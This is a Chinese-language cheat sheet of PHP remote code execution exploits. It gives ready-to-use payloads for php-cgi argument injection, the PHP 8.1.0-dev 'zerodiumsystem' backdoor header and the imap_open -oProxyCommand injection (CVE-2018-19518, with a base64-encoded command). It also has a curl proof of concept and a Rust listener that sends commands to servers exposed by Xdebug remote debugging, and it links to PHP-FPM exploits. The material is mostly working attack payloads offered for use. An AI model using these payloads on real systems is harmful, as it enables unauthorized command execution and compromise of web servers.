用户请求的querystring被作为了php-cgi的参数
5.0.0-5.3.11
5.4.0-5.4.1
php5.4.2和php5.3.12 仍有绕过的可能性
php5.4.3和php5.3.13中被完全修复
payload
(http://ip/index.php?-d%20allow_url_include%3don+-d%20auto_prepend_file%3dphp://input)
第二个-d前必须用+号连接,所有=号都要编码
php8.1版本被写入后门
8.1.0dev
payload:User-Agentt: zerodiumsystem("echo php_8.1_backdoor");
漏洞说明
PHP的imap_open函数中的邮箱名称传递给ssh会导致参数注入,攻击者可以使用-oProxyCommand传入命令。
(disable_function禁用了system之类的危险函数,可以尝试用它来bypass)
漏洞利用
payload:hostname=x+-oProxyCommand%3decho%09ZWNobyBgd2hvYW1pYD4vdmFyL3d3dy9odG1sL3Jlc3VsdA==|base64%09-d|sh}&username=111&password=222
细节参考
https://nosec.org/home/detail/2044.html
https://forum.antichat.com/threads/463395/#post-4254681
NVD - CVE-2018-19518 (nist.gov)
xdebug是一个支持dbgp协议的php调试工具,当配置项中开启远程调试和回连时,攻击者可以根据dbgp协议规范中提供的eval方法执行命令
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
设置好配置项
收到xml说明开启了远程debug和回连
poc:curl 'http://网站ip/phptest/debug_test.php?XDEBUG_SESSION_START=phpstorm' -H "X-Forward-For: 攻击机ip"
写好listen
use std::{net::{SocketAddr,TcpListener,TcpStream}, io::{Write, Read}};
use std::env;
fn handle_connection(mut stream: TcpStream) {
println!("{:#?}",stream.peer_addr().expect("error"));
let args:Vec<String>= env::args().collect();
let mut binding = args[1].clone();
println!("{}",binding);
binding.push('\x00');
let buf = binding.as_bytes();
println!("{:#?}",buf);
stream.write(buf).expect("not send");
stream.flush().expect("nflash");
let mut readbuf = vec![0;1024];
loop {
let n = stream.read(&mut readbuf).unwrap();
if n == 0 {
break;
}
println!("{}",String::from_utf8(readbuf.clone()).expect("str error"));
}
}
fn main() {
let x = TcpListener::bind(SocketAddr::from(([0, 0, 0, 0], 9000)),).unwrap();
for stream in x.incoming() {
match stream {
Ok(stream) => {
handle_connection(stream);
}
Err(_e) => { /* connection failed */ }
}
}
}
//写的比较简单,建议找现成的工具用
发送的命令和命令执行的结果都经过base64编码
Xdebug: Documentation » DBGP - A common debugger protocol specification
Xdebug: A Tiny Attack Surface - Ricter's Blog (ricterz.me)
vulhub/php/xdebug-rce/exp.py at master · vulhub/vulhub · GitHub
未授权使攻击者可以控制fpm的环境变量,环境变量中的PHP_VALUE和PHP_ADMIN_VALUE可以用来设置php配置项。引入危险的配置项allow_url_include、auto_prepend_file会导致代码执行
Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写 | 离别歌 (leavesongs.com)
neex/phuip-fpizdam: Exploit for CVE-2019-11043 (github.com)
Orange: An analysis and thought about recently PHP-FPM RCE(CVE-2019-11043)